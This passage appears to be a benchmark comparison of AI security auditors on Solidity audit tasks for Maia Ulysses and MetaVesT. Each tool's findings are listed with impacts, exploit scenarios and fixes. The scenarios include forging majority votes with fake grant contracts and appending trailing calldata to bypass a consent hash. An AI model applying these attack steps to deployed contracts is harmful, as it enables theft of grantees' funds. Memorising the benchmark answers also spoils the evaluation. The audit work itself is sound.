getPortStrategyTokenDebt[msg.sender][_token] += _amount;
_token.safeTransfer(msg.sender, _amount);
```
**2. Repayment deducts more debt than it retrieves** -
src/2-audit/ulysses-omnichain/BranchPort.sol:159-162```solidity title="src/2-audit/ulysses-omnichain/BranchPort.sol:159-162"
IPortStrategy(_strategy).withdraw(address(this), _token, _amount < reservesLacking ? _amount : reservesLacking);
getPortStrategyTokenDebt[msg.sender][_token] -= _amount;
getStrategyTokenDebt[_token] -= _amount;
```
In this new function, a borrowing strategy can select itself and its full debt while reserves lack nothing: zero tokens return, but the debt disappears.
**3. The reserve requirement falls with fictitious repayment** -
src/2-audit/ulysses-omnichain/BranchPort.sol:130-132```solidity title="src/2-audit/ulysses-omnichain/BranchPort.sol:130-132"
function _minimumReserves(uint256 _currBalance, address _token) internal view returns (uint256) {
return ((_currBalance + getStrategyTokenDebt[_token]) * getMinimumTokenReserveRatio[_token]) / DIVISIONER;
}
```
An abusive approved strategy can borrow the newly exposed reserves across daily-limit resets, retaining unpaid assets and breaching the intended reserve floor.
- Exploit scenario
-
Not specified.
- Recommendation
-
Compute the repayment once and reduce both debt mappings by the actual tokens received, credited to _strategy rather than msg.sender. Bound repayment by that strategy's debt and protect the external withdrawal against reentrancy.
-
Bridging assets erroneously mints new assets maia-13 · 1 writeup Medium
V12
Local escrow delivery duplicates root token supply
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:458Predicted severity: High- Root cause
-
The Arbitrum local delivery/refund implementation copies a remote mint-on-delivery behavior despite the local producer escrowed the same root token rather than burning a separate branch representation. Existing-token settlement should release the escrowed units instead of minting root supply again.
- Impact
-
This duplicates root hToken supply and overstates local underlying attribution whenever an escrowed existing-token portion is delivered or refunded locally. Inference from
withdrawFromPort: the new local counter and fungible claims can authorize withdrawals from local underlying custody that the escrow-only operation never replenished, conditional on owner admission and available reserves. - Description
-
Root outbound settlement transfers the existing-token portion into RootPort custody and burns only the requested underlying portion. On the same-chain destination,
_clearTokenroutes the existing-token portion throughArbitrumBranchPort.bridgeIn, which callsmintToLocalBranchrather than returning those escrowed root tokens. After the explicit owner workaround for the separate mint authorization failure, this creates additional root supply and increments the local chain counter without an underlying deposit. Failed local source deposits use the same minting path for refunds even thoughArbitrumBranchPort.bridgeOutMultipleescrowed their existing root tokens instead of burning them. A pure-hToken settlement or refund therefore leaves the original units in RootPort while issuing new units to the recipient.
-
-
Metavest Solidity On-chain vesting + token-grant tooling. Tasks 12 V12 12/12 Codex Sec 6/12 Pashov Opus 11/12 Pashov GPT-6 11/12 Devin 8/12 Devin (Deep) 10/12 Claude Sec 9/12 Claude Opus 10/12 Vercel 8/12
On-chain vesting + token-grant tooling.
Read the audit report-
Reward tokens corresponding to removed milestones are locked metavest-1 · 8 writeups Critical
V12
Milestone deletion strands funded awards
src/MetaVesTController.sol:430Predicted severity: Medium- Root cause
-
The controller treats milestone deletion as cancellation of a funded award, but the allocation implementation deletes the record without returning the backing tokens or retaining recoverable accounting.
- Impact
-
Removing an unconfirmed milestone can strand its funded tokens in vesting allocations rather than returning them to authority as documented. The same lost-accounting problem affects restricted awards; options have a separate post-termination surplus-recovery path, so permanent inaccessibility is not asserted for options.
- Description
-
removeMetavestMilestoneresets consent and delegates deletion to the allocation, but performs no refund or accounting reconciliation for the funded award. The concreteremoveMilestoneimplementation merely deletes the milestone entry. For an unconfirmed milestone, that removes the award from future confirmation and from the milestone sums used to calculate termination recovery. In a vesting allocation with no withdrawals, termination recovers the remaining stream and milestones but leaves the deleted award in the contract. The common allocation implementation has no token-sweep path to retrieve that residual.
Codex Security (GPT-6 Sol)
Removing a funded milestone permanently strands its award tokens
src/BaseAllocation.sol:246Predicted severity: Medium- Root cause
-
The controller funds a milestone award, but BaseAllocation.removeMilestone deletes its value without returning tokens or retaining recovery accounting. Later entitlement and vesting termination formulas use current milestone records, so the removed award is omitted.
- Impact
-
The supported amendment can permanently lock valuable ERC20 balances, though it requires authority execution and grantee or set consent.
- Description
-
An approved milestone removal deletes the award record without transferring or preserving its prefunded token amount, leaving those tokens inaccessible in vesting and restricted allocations.
- Exploit scenario
-
Milestone funding → milestone delete → accounting omits award → inaccessible token balance
- Recommendation
-
Before deletion, reject completed milestones and refund or record the uncompleted award in a recoverable balance used by termination.
Pashov (Claude Opus 5.5 high)
Removing a milestone permanently locks its tokens and corrupts termination accounting
src/BaseAllocation.sol:243Predicted severity: Medium- Root cause
-
Deletion without refunding the award or adjusting totals, and no check that the milestone is incomplete.
- Impact
-
Milestone tokens are frozen forever in the allocation contract. Removing completed milestones can make terminate() or getAmountRepurchasable() revert, blocking termination and repurchase.
- Description
-
removeMilestone just deletes the array element. The milestoneAward tokens transferred in for it are not returned, and every later accounting loop sums milestones[i].milestoneAward, which is now 0. No path returns them: terminate() recovers only total + current milestone awards - vested, and VestingAllocation/RTA have no sweep. Removing an already completed milestone is also allowed (despite the doc saying 'if not yet confirmed'). Its award stays in milestoneAwardTotal but is gone from milestonesAllocation, so terminate/getAmountRepurchasable can underflow and revert. The deleted slot also stays confirmable by anyone (no conditions).
- Exploit scenario
-
Authority (with consent) removes an unconfirmed milestone worth 500 tokens. Later termination returns only the stream remainder, and the 500 tokens remain stuck in the VestingAllocation forever.
- Recommendation
-
On removal of an incomplete milestone, transfer its award back to authority. Disallow removing completed milestones.
Pashov (Codex GPT-6 Sol high)
Removing an uncompleted milestone strands its funded award
src/BaseAllocation.sol:240Predicted severity: Medium- Root cause
-
The deletion loses the award amount used by subsequent termination accounting.
- Impact
-
The removed award can remain permanently stranded in the allocation.
- Description
-
removeMilestone deletes the record but does not return or track the tokens already funded for that award.
- Exploit scenario
-
Fund a milestone, remove it before completion, then terminate the grant.
- Recommendation
-
For an uncompleted milestone, return its award to the funder or track it for recovery; reject deletion after completion or reconcile all credited award totals.
Devin Security (Deep)
Tokens funding a removed milestone stay locked in the allocation with no way to recover them
src/BaseAllocation.sol:240Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When the authority removes an unconfirmed milestone, the tokens that funded it stay in the allocation contract where neither the grantee nor the authority can ever withdraw them.
##### What's wrong
This is missing accounting on removal. The controller's docstring says removal makes the award withdrawable by the controller, but removeMilestone only zeroes the struct; no transfer happens, and terminate() only recovers tokenStreamTotal plus the awards still listed in milestones[].
##### Who can do it
Acme Corp funds a 500 token milestone for Alice, an engineer, and later removes it with her consent. Nobody acts maliciously; the protocol simply loses track of the tokens.
- A milestone removal executes before the milestone is confirmed.
- The allocation is a VestingAllocation or RestrictedTokenAward (TokenOptionAllocation.recoverForfeitTokens would sweep the surplus after termination).
##### What they get
No one gains. Acme loses the 500 tokens permanently; the amount locked equals the award of every removed milestone. As a side effect the stranded tokens partly mask the termination over-recovery bug reported in TokenOptionAllocation.sol, because the grantee's withdraw balance check keeps passing.
##### How it works
1. The authority calls removeMetavestMilestone (MetaVesTController.sol:433-439); the docstring at line 430 promises the award becomes withdrawable by the controller.
2. BaseAllocation.removeMilestone (BaseAllocation.sol:243-248) deletes the struct and emits an event; no tokens move.
3. VestingAllocation.terminate (VestingAllocation.sol:82-88) sums only the milestones still present, so the removed award is never part of tokensToRecover, and withdraw (BaseAllocation.sol:273-279) is capped by getAmountWithdrawable, which never includes it.
- Exploit scenario
-
Not specified.
- Recommendation
-
When removing an unconfirmed milestone, transfer milestoneAward back to the authority in the same call (or track a recoverable amount and add an authority-only sweep). Verify with a test that adds then removes a milestone and asserts the authority's token balance is restored.
Claude Security (Sonnet 5.5)
removeMilestone zeroes the milestone but leaves its funded tokens stranded and breaks terminate/repurchase accounting
src/BaseAllocation.sol:246Predicted severity: Medium- Root cause
-
Vulnerable symbol: removeMilestone
Preconditions: A funded milestone is removed through the controller
Offending code:
delete milestones[_milestoneIndex];
- Impact
-
Permanent loss of the tokens funded for removed milestones in Vesting and RTA allocations, and possible bricking of terminate or repurchase for grants whose confirmed milestone was removed.
- Description
-
The controller funds every milestone at creation (milestoneAward is part of _total) and documents that removing a milestone makes its tokens recoverable. The allocation only deletes the array entry. VestingAllocation.terminate and RestrictedTokenAward.getAmountRepurchasable sum milestones[i].milestoneAward, which now excludes the deleted award, so the funded tokens are not part of any recoverable amount. If the milestone was already confirmed, milestoneAwardTotal still includes the award while the sum does not, which skews or underflows the same expressions.
- Exploit scenario
-
Authority and grantee agree to remove a 500-token milestone. After removeMetavestMilestone the 500 tokens stay in the VestingAllocation, and terminate() recovers only the remainder, so they are locked forever. If the removed milestone had been confirmed, terminate()/getAmountRepurchasable() can underflow and revert because vested includes an award that the sum no longer does.
- Recommendation
-
Track funded and removed milestone awards explicitly (for example keep the award in a removedMilestoneTotal that terminate and repurchase include), refuse to remove completed milestones, and send the removed award back to the authority at removal time.
Claude Security (Opus 5.5)
Tokens for a removed milestone are permanently stuck, and the completed-milestone check exists on neither side
src/BaseAllocation.sol:246Predicted severity: Medium- Root cause
-
Vulnerable symbol: removeMilestone
Preconditions: Authority removes a milestone via removeMetavestMilestone (consent-gated, documented feature)
Offending code:
delete milestones[_milestoneIndex];
- Impact
-
The authority permanently loses every removed milestone award in Vesting and RestrictedToken allocations. Removing a completed milestone can permanently block termination and majority proposals for the set.
- Description
-
The controller's removeMetavestMilestone says only unconfirmed milestones are removed and that their award becomes withdrawable by the controller. The controller never checks the milestone (its MilestoneIndexCompletedOrDoesNotExist error is unused), and BaseAllocation.removeMilestone only checks the index before zeroing the award. Neither layer returns the award tokens, and terminate() recomputes the amount to recover from the zeroed array, so those tokens never come out.
- Exploit scenario
-
Authority funds a VestingAllocation with tokenStreamTotal 1000 and a milestone worth 500, all 1500 tokens transferred. With the grantee's consent it calls removeMetavestMilestone(grant, 0), expecting the 500 back as the docs promise. No function sends them back. A later terminate() recovers T + 0 - vested (+withdrawn), and the grantee can only withdraw vested tokens, so the 500 stay in the contract forever. VestingAllocation has no sweep, and RestrictedTokenAward only lets the authority 'repurchase' them by paying the grantee. If a completed milestone is removed instead, milestoneAwardTotal still counts it while the summed awards drop. terminate() then underflows and reverts once the stream is fully vested. getGoverningPower(all) also underflows after withdrawals, which blocks proposeMajorityMetavestAmendment for the whole set.
- Recommendation
-
In removeMilestone, revert if milestone.complete is true. Transfer milestoneAward to getAuthority() (or the controller) before deleting it, or track removed awards so terminate() recovers them.
Vercel Security Review
Removing an uncompleted milestone strands its funded award
src/BaseAllocation.sol:243Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Milestone awards are funded into the allocation** -
src/MetaVesTController.sol:453-455```solidity title="src/MetaVesTController.sol:453-455"
// send the new milestoneAward to 'metavest'
safeTransferFrom(_tokenContract, msg.sender, _grant, _milestone.milestoneAward);
BaseAllocation(_grant).addMilestone(_milestone);
```
**2. Consented removal deletes the liability without returning funds** -
src/BaseAllocation.sol:243-246```solidity title="src/BaseAllocation.sol:243-246"
function removeMilestone(uint256 _milestoneIndex) external onlyController {
if(terminated) revert MetaVesT_AlreadyTerminated();
if (_milestoneIndex >= milestones.length) revert MetaVesT_ZeroAmount();
delete milestones[_milestoneIndex];
```
For an uncompleted milestone, its award never enters vested or unlocked totals, so the grantee cannot withdraw it.
**3. Vesting termination also excludes the deleted award** -
src/VestingAllocation.sol:83-86```solidity title="src/VestingAllocation.sol:83-86"
for (uint256 i; i < milestones.length; ++i) {
milestonesAllocation += milestones[i].milestoneAward;
}
tokensToRecover = allocation.tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() + tokensWithdrawn;
```
With no prior withdrawals, termination returns only the remaining recorded allocation. Cancelled milestone funding stays stranded; VestingAllocation has no surplus recovery entrypoint.
- Exploit scenario
-
Not specified.
- Recommendation
-
Before deleting an uncompleted milestone, preserve its award amount and safely return it to the authority or credit a separately tracked recoverable balance. Reject removal of completed milestones or explicitly reconcile their cumulative accounting. Ensure every funded token remains assigned to a payout or recovery liability.
-
Anyone can vote on any majority amendment proposal with arbitrary voting power metavest-2 · 9 writeups High
V12
Arbitrary contracts can fabricate majority votes
src/MetaVesTController.sol:589Predicted severity: Medium- Root cause
-
Voting authenticates ownership through caller-selected self-reported metadata but never authenticates the allocation's membership in the proposal's electorate. Arbitrary external voting weight is consequently trusted.
- Impact
-
An external account can fabricate sufficient voting power to pass any pending set proposal without consent from the affected set members. Execution remains authority-only, but the authority's majority-consent restriction no longer protects grantees against economic changes such as freezes or option-price increases.
- Description
-
voteOnMetavestAmendmentaccepts a caller-selected_grantand checks its self-reported grantee, but does not check membership in_setNameor registration with this controller. It then adds that address's self-reportedgetGoverningPower()to the named proposal. An ordinary allocation outside the set can therefore vote in its election, and an external account can instead supply a purpose-built contract returning that account as grantee and a chosen voting weight. Duplicate prevention only limits each supplied address to one affirmative vote.consentChecktrusts the resulting accumulated weight when authorizing amendments to actual set members.
Codex Security (GPT-6 Sol)
A grantee outside a set can approve amendments for that set
src/MetaVesTController.sol:591Predicted severity: Medium- Root cause
-
The proposal denominator is computed from set members, but voteOnMetavestAmendment credits power from any grant address whose reported grantee is msg.sender. No set-membership or controller-provenance check binds that grant to the proposal.
- Impact
-
An outside grantee can forge set majority, but execution still requires an authority call against a pending proposal and may be constrained by DAO conditions.
- Description
-
An outsider can add their grant's governing power to another set's majority proposal, allowing an amendment without the affected set's majority.
- Exploit scenario
-
Caller-selected outside _grant → getGoverningPower → currentVotingPower for named set → consentCheck
- Recommendation
-
Require _grant to be a registered member of _setName and bind eligibility and voting power to the proposal snapshot.
Pashov (Claude Opus 5.5 high)
Majority amendment votes accept any metavest, not just members of the set
src/MetaVesTController.sol:589Predicted severity: High- Root cause
-
Missing membership check: the set membership of _grant is never validated.
- Impact
-
The majority-consent protection for set members can be bypassed. Authority (the party the consent mechanism constrains) can create an allocation with itself or a sybil as grantee, or deploy any contract returning grantee()=attacker and a huge getGoverningPower(), and vote. This pushes currentVotingPower*2 past totalVotingPower and lets authority unilaterally change rates, prices, transferability, or milestones for every member of the set.
- Description
-
voteOnMetavestAmendment only checks that msg.sender is the grantee of _grant. It never checks that _grant is in sets[_setName]. Any grantee of any allocation created by this controller (or by any contract exposing grantee()/getGoverningPower()) can add its governing power to another set's proposal. totalVotingPower is snapshotted from set members only.
- Exploit scenario
-
Set 'employees' has total power 1,000,000. Authority deploys a fake contract whose grantee() returns authority and getGoverningPower() returns 1e30, then calls voteOnMetavestAmendment(fake, 'employees', updateMetavestVestingRate.selector, true). Next it calls updateMetavestVestingRate(member, 0) for each member, freezing everyone's vesting.
- Recommendation
-
Require _grant to be in sets[_setName], and snapshot each voter's power at proposal time, or cap total votes at the snapshot.
Pashov (Codex GPT-6 Sol high)
Out-of-set grants can vote on majority amendments
src/MetaVesTController.sol:589Predicted severity: High- Root cause
-
No set-membership check precedes the vote accounting.
- Impact
-
An outsider can fabricate approval for amendments to real grantees. A forged vote of 2**255 also makes the majority multiplication overflow and blocks the proposal from execution.
- Description
-
Voting checks ownership of _grant but never its membership in _setName; its governing power is added to that set's proposal.
- Exploit scenario
-
Deploy a fake grant that reports attacker ownership and 51 governing-power units, then vote on a real set with total power 100; no member needs to vote. A value of 2**255 instead causes execution to revert on overflow.
- Recommendation
-
Verify _grant belongs to sets[_setName] before counting its vote.
Devin Security
Majority amendment votes accept any contract as a voter, so the authority can fake grantee consent
src/MetaVesTController.sol:589Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The authority, or anyone helping it, can manufacture a fake majority vote and then change vesting rates, unlock rates, prices, or milestones for every grantee in a set without their real consent.
##### What's wrong
This is a broken consent check.
voteOnMetavestAmendmenttrusts whatever address the caller passes as_grant. It only asks that contract who its grantee is and how much voting power it has. It never checks that_grantis a real MetaVesT made by this controller or that it belongs to the set being voted on.##### Who can do it
Alice is a grantee at Acme Corp. Her vesting contract sits in the set "engineering" with other grantees. Mallory controls the Acme authority address and wants to cut Alice's unlock rate to zero. Mallory proposes a majority amendment for the set. She then deploys a tiny contract whose
grantee()returns her own address and whosegetGoverningPower()returns a huge number. She callsvoteOnMetavestAmendmentwith that contract as_grant. The vote passes, and she callsupdateMetavestUnlockRatefor Alice.- Mallory holds the
authorityrole on the controller, which is needed to propose and to execute the amendment.- The target MetaVesT is in a set. The authority can put any MetaVesT into a set at any time with
addMetaVestToSet, which needs no grantee consent.- Anyone can cast the fake vote. Only the final execution needs the authority.
##### What they get
Mallory skips the grantee consent that the contract is built to require. She can freeze Alice's vested tokens forever by setting the unlock rate to zero. She can raise the exercise price on Alice's vested options or lower the repurchase price on her restricted tokens. She can remove milestones. Termination alone cannot do these things, because termination keeps the vested tokens for the grantee. The damage reaches every grantee whose MetaVesT is in, or is added to, a set on this controller.
##### How it works
1. The authority calls
proposeMajorityMetavestAmendment, which stores the total voting power of the real set members (MetaVesTController.sol:571-582).2. The attacker calls
voteOnMetavestAmendmentwith a fake_grant. The only identity check isBaseAllocation(_grant).grantee() != msg.sender, which the fake contract passes (MetaVesTController.sol:591).3. The function adds the fake contract's self-reported
getGoverningPower()tocurrentVotingPowerwithout checking set membership (MetaVesTController.sol:595-606).4. The authority calls a consent-gated function.
consentCheckseescurrentVotingPower*2 >= totalVotingPowerand lets the call through (MetaVesTController.sol:146). - Exploit scenario
-
Not specified.
- Recommendation
-
In
voteOnMetavestAmendment, require that_grantis listed insets[_setName]and that the controller deployed it (for example, keep aisMetavestmapping that the create functions fill). Do not let a single vote come from an address outside the set. Consider snapshotting each member's power when the proposal is made. Add a test that votes with a mock contract outside the set and confirm the vote reverts and the amendment call still failsconsentCheck.
Devin Security (Deep)
Majority amendment votes accept any caller-supplied grant contract, so anyone can pass a set-wide proposal
src/MetaVesTController.sol:589Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can push a pending set-wide amendment past its voting threshold by voting with a grant contract they deployed themselves, which lets the authority apply changes to every grant in the set without any real grantee consent.
##### What's wrong
This is a missing resource ownership check. voteOnMetavestAmendment trusts the caller-supplied _grant address: it only checks that the contract's grantee() returns the caller and then adds whatever that contract's getGoverningPower() returns to the proposal. It never checks that _grant is a member of _setName, or that this controller created it.
##### Who can do it
Acme Corp runs a controller; Alice, Bob and Carol hold grants in the set "eng". The authority proposes a set-wide amendment for "eng". Mallory, who controls Acme's authority multisig or simply wants to help it, deploys her own VestingAllocation through the public VestingAllocationFactory, naming herself grantee with an enormous vesting cliff, and votes with it. The proposal passes at once no matter how Alice, Bob and Carol vote.
- A set-wide proposal is pending for the (function, set) pair, created by the authority.
- The voter can deploy a contract, or holds any grant from any set or any other controller; no token balance is needed.
- Applying the passed amendment still requires the authority role, so in practice the attacker is the authority or someone colluding with it.
##### What they get
The authority can apply any amendable change to every grant in the set with zero genuine consent: vesting rate, unlock rate, exercise or repurchase price, stop times, milestone removal, transferability and governing power type. Because rates apply retroactively, setting the vesting rate to zero and then terminating lets Acme recover tokens that had already vested but were not withdrawn, and setting the repurchase price to 1 wei and terminating lets Acme buy back all unvested restricted tokens for nothing. Grantees in other sets, or of other controllers, can also vote on "eng" proposals.
##### How it works
1. The authority calls proposeMajorityMetavestAmendment("eng", sig, data) (MetaVesTController.sol:562-584) and the total power of the real members is snapshotted.
2. Mallory calls VestingAllocationFactory.createAllocation (VestingAllocationFactory.sol:9-24) with grantee = Mallory, any controller address, tokenStreamTotal and vestingCliffCredit near 2^128, and vestingStartTime 0; the VestingAllocation constructor (VestingAllocation.sol:23-26) only caps vestingRate, so getGoverningPower (VestingAllocation.sol:51-67) returns about 3.4e38. Any hand-written contract exposing grantee() and getGoverningPower() works too.
3. Mallory calls voteOnMetavestAmendment(fake, "eng", sig, true) (MetaVesTController.sol:589-608). Line 591 passes because grantee() is Mallory, lines 592-594 pass because the proposal is pending and fresh, line 595 reads the huge power, and lines 604-606 add it to currentVotingPower.
4. The authority calls the amending function; consentCheck (MetaVesTController.sol:146) sees totalVotingPower far below currentVotingPower*2 and allows it for every grant in "eng".
- Exploit scenario
-
Not specified.
- Recommendation
-
In voteOnMetavestAmendment require that _grant is an element of sets[_setName] (loop or maintain a membership mapping), and keep a mapping of allocations created by this controller so foreign contracts are rejected everywhere a _grant is accepted. Prefer snapshotting each member's power at proposal time rather than reading live power from a caller-supplied address. Verify with a test that deploys an allocation through the factory, votes with it on a set it does not belong to, and asserts the vote reverts.
Claude Security (Sonnet 5.5)
Majority-consent check hashes only the last 32 bytes of raw calldata, so authority can append trailing bytes to execute a different value than the one voters approved
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Vulnerable symbol: consentCheck
Preconditions: The attacker is the authority; The target grant is in a set, so the majority path is used; At least one majority proposal for that function signature and set has been approved, which can be for any benign value
Offending code:
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
- Impact
-
Grantee/majority consent is not bound to the executed parameters. A malicious authority can apply arbitrary price, unlock-rate, vesting-rate or stop-time values to every grant in a set after obtaining approval for a harmless value. Retroactive rate rewrites reduce vested or unlocked balances, which can then be recovered with terminateMetavestVesting.
- Description
-
For grants in a set, consentCheck is called with msg.data and binds the approval only to keccak256 of the final 32 bytes of the raw calldata. The Solidity ABI decoder accepts extra trailing calldata, so the authority (the only caller of the guarded functions) controls those last 32 bytes independently of the real function argument. Also CWE-863: The authority controls set membership (addMetaVestToSet) and the proposal. The majority predicate only reverts when totalVotingPower is strictly greater than twice currentVotingPower, so a proposal with zero total power, or exactly 50%, passes with no grantee vote. The authority can also inflate its own votes with unfunded shell allocations that the public allocation factories let anyone create. This replaces the per-grantee consent that the README says is required for these amendments. Also CWE-20:
msg.datais attacker-influenced because ABI decoding ignores calldata beyond the declared arguments.consentCheckcompareskeccak256(_data[_data.length - 32:])with the stored hash.authoritycan append a 32-byte word equal to the approved value to a call whose real arguments differ, and the check still passes. Also CWE-130: For grants in a set, consentCheck is passed msg.data and assumes its last 32 bytes are the function's last argument. The authority controls the raw calldata. The Solidity ABI decoder ignores bytes beyond the expected arguments, so the authority can append a 32-byte word equal to the approved value and put a different value in the real argument slot. Also CWE-697: The majority testtotalVotingPower > currentVotingPower*2evaluates to false when both values are 0. proposeMajorityMetavestAmendment snapshots totalVotingPower from getGoverningPower(), which is 0 for token-option grants nobody has exercised and for vesting grants before vestingStartTime (default govType is vested). A proposal made in that state counts as majority-approved with no votes. Also CWE-354: In the set (majority) path of consentCheck, the commitment is keccak256(_data[_data.length - 32:]) of msg.data, not of the decoded arguments. Solidity ignores extra trailing calldata, so the authority can append the approved 32-byte word to a call whose real arguments differ and still pass the check. Also CWE-190: A fake_grantcan contribute an arbitrary_callerPower, for example 2^255, whichproposal.currentVotingPower += _callerPoweraccepts. The unchecked-magnitude value is then doubled in consentCheck, where Solidity 0.8 checked arithmetic panics on overflow, so every consentCheck for that function and set reverts. - Exploit scenario
-
1) Authority calls proposeMajorityMetavestAmendment("S", updateExerciseOrRepurchasePrice.selector, abi.encode(P_benign)); the stored dataHash is keccak256(abi.encode(P_benign)). 2) Grantees in S vote in favor of the benign value and the quorum is met. 3) Authority sends a raw call to updateExerciseOrRepurchasePrice(grantX, P_evil) with abi.encode(P_benign) appended to the calldata. The modifier hashes the trailing 32 bytes, which equal P_benign, so the check passes while the decoded _newPrice is P_evil. The same trick applies to updateMetavestUnlockRate, updateMetavestVestingRate, updateMetavestStopTimes, removeMetavestMilestone and setMetaVestGovVariables, and it applies to every grant in the set.
- Recommendation
-
Bind the approval to the full decoded call. Hash abi.encode of the actual typed arguments inside the function, or require msg.data.length to equal the exact expected length. Include the function selector and every argument that matters in the proposal hash. Do not hash a calldata suffix. Also CWE-863: Require a strict majority (currentVotingPower*2 > totalVotingPower, and totalVotingPower > 0). Enforce expiry of the set proposal at execution time. Consume or reset the set proposal after use. Require grantee consent, or a validated and controller-registered allocation, before a grant can be added to a set. Verify set members against a registry of allocations the controller itself created, not just a controller() match, because the public factories can forge that. Also CWE-20: Bind the approval to the exact parameters. Enforce the expected calldata length (
_data.length == 4 + 32*nArgs) and hash all arguments after_grant, for examplekeccak256(_data[36:]). Alternatively decode the amendment value explicitly per function and compare it. Also check proposal expiry inconsentCheckand reset the majority proposal after use. Also CWE-130: Bind the approval to the decoded arguments instead of a calldata tail. For example, require msg.data.length to equal the canonical length for the selector, or recompute the hash from the decoded value (keccak256(abi.encode(<last param>))) inside each function. Record the full approved parameters, not a hash of the last word. Reject calldata with trailing bytes. Also clear the proposal after use or after it expires. Also CWE-697: Require totalVotingPower > 0 when proposing, and require currentVotingPower*2 > totalVotingPower, or >= with explicit semantics, with a non-zero current power. Do not let the authority place grants into a set without grantee consent. Also expire and reset proposals after execution. Also CWE-354: Bind consent to the decoded arguments, not raw calldata tails. Hash abi.encode of the specific parameters (excluding the per-grant address if set-wide application is intended), or require msg.data.length to equal the exact expected length and hash the full argument region. Do the same in proposeMajorityMetavestAmendment, and have the proposer pass structured parameters instead of a raw bytes blob. Also CWE-190: Validate_grantas a real set member, so power is bounded by real balances, and compute the majority test without multiplication (for examplecurrent > total - current, or compare againsttotal/2). Allow replacing an expired or consumed proposal by fixing the inverted pending check at line 568.
Claude Security (Opus 5.5)
Majority consent passes with zero votes when the snapshot voting power is 0, and is not tied to current set membership
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Vulnerable symbol: consentCheck
Preconditions: Attacker is the authority (proposals and set management are onlyAuthority); The target set's governing power is 0 at proposal time, or the authority can move the victim into such a set
Offending code:
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
- Impact
-
The authority can impose any consent-gated amendment on any grantee without a single vote, for example freezing vested tokens with an unlock rate of 0, raising option or repurchase prices, or removing milestones.
- Description
-
Consent counts as given whenever
totalVotingPower <= currentVotingPower*2.totalVotingPoweris a snapshot of the set's members taken when the proposal was made (lines 572-574). If that snapshot is 0, the check passes with no votes at all. The check is never re-run against who is in the set when the amendment executes, and exactly 50% also passes despite the documented '>50%' rule. Also CWE-20: For grants in a set, consentCheck compares the voted dataHash with keccak256 of only the last 32 bytes of the raw msg.data. The function itself reads its arguments through the ABI decoder, which ignores extra trailing calldata. The authority can therefore pass any _grant and parameter value and append the approved 32-byte word at the end, and the privileged onlyController call on the allocation then runs with values that were never voted on. Also CWE-436: The authority supplies msg.data, which is untrusted with respect to grantee consent. The consent check hashes only the trailing 32-byte word of msg.data (line 146; proposals store the same slice at line 580). The ABI decoder reads the amendment value at fixed offset 0x24 and ignores any extra trailing calldata. So the authority can put an arbitrary value in the decoded slot and append the majority-approved word at the end, and the check still passes. Also CWE-190:voteOnMetavestAmendment(lines 589-607) accepts any_grantcontract. It only checks thatgrantee() == msg.senderand never checks that the contract is an allocation in_setName, so the attacker sets thegetGoverningPower()value. That value is added toproposal.currentVotingPowerat line 606, and line 146 then computescurrentVotingPower*2with checked arithmetic. If the total is 2^255 or more, every call that goes throughconsentCheckpanics and reverts. Also CWE-1023: For grants in a set, consentCheck compares only the last 32-byte word of msg.data (_data[_data.length - 32:]) against the proposal hash, which is also built from only the last word (line 580). Solidity's ABI decoder ignores extra calldata after the arguments. So the bytes the consent check reads are not the bytes that become the function arguments. Also CWE-345: Line 580 commits the majority proposal to keccak256 of only the last 32 raw bytes of the proposed calldata, and line 146 checks the live msg.data the same way. The real arguments are ABI-decoded from fixed offsets (bytes 4..68), and Solidity ignores extra trailing calldata. The hash therefore does not bind the values that actually execute, and the authority can supply any argument while appending the approved word as trailing bytes. - Exploit scenario
-
The authority calls
createSet("evil")and thenproposeMajorityMetavestAmendment("evil", updateMetavestUnlockRate.selector, abi.encodeWithSelector(sel, victim, 0)). The set is empty, sototalVotingPoweris 0. It removes the victim's grant from its current set, if any, and callsaddMetaVestToSet("evil", victim). It then callsupdateMetavestUnlockRate(victim, 0).consentCheckfinds the victim in "evil", seesisPending, evaluates0 > 0as false, matches the last-32-byte hash, and runs the amendment. The same happens without any set manipulation for a set of new token-option grants: the defaultgovTypeisvestedand they have 0 governing power until exercise, so any majority proposal for them passes as soon as it is made. - Recommendation
-
Reject proposals with
totalVotingPower == 0and require a strict majority (currentVotingPower*2 > totalVotingPower). Bind each proposal to a frozen member list or snapshot so grants added after the proposal cannot be amended under it, and do not let the authority change a grant's set membership while proposals that affect it are pending. Also CWE-20: Do not authorize by hashing a slice of raw msg.data. Store the full keccak256 of the exact intended calldata (or of abi.encode of the decoded parameters) in the proposal. In consentCheck, recompute the hash from the decoded arguments and also bind the msg.sig and the set. At minimum, require msg.data.length to equal the canonical ABI length for the function, compare against the full calldata, delete the majority proposal after it is executed, and enforce AMENDMENT_TIME_LIMIT at execution time. Also CWE-436: Bind consent to the decoded parameters rather than raw calldata. For example, store keccak256(abi.encode(selector, value)) in the proposal and recompute it inside each function from the decoded argument. Alternatively, require msg.data.length to equal the exact ABI length (4 + 64) before hashing. Also check in proposeMajorityMetavestAmendment that _callData[0:4] == _msgSig. Also CWE-190: InvoteOnMetavestAmendment, only accept a_grantthat is a member ofsets[_setName]and was deployed by this controller's factories. Take voting power from that verified allocation, and cap the total so thatcurrentVotingPowercan never exceedtotalVotingPower. Compare votes without the possibly overflowing multiplication, for exampleproposal.currentVotingPower <= proposal.totalVotingPower - proposal.currentVotingPower. Also fix the inverted re-proposal guard at line 568 so that expired or poisoned proposals can be replaced. Also CWE-1023: Bind the full calldata. Store keccak256(_callData) at proposal time and compare it against keccak256(msg.data). Better, store the decoded new value and require it to equal the executed argument. Also reject msg.data whose length differs from the expected ABI-encoded length. Clear the majority proposal after execution and check its expiry. Also CWE-345: Bind the commitment to the full decoded intent, not to raw trailing bytes. For example, store keccak256(abi.encode(<decoded argument(s)>)) at proposal time and recompute it inside each amending function from its decoded parameters. Alternatively, require msg.data.length to equal the 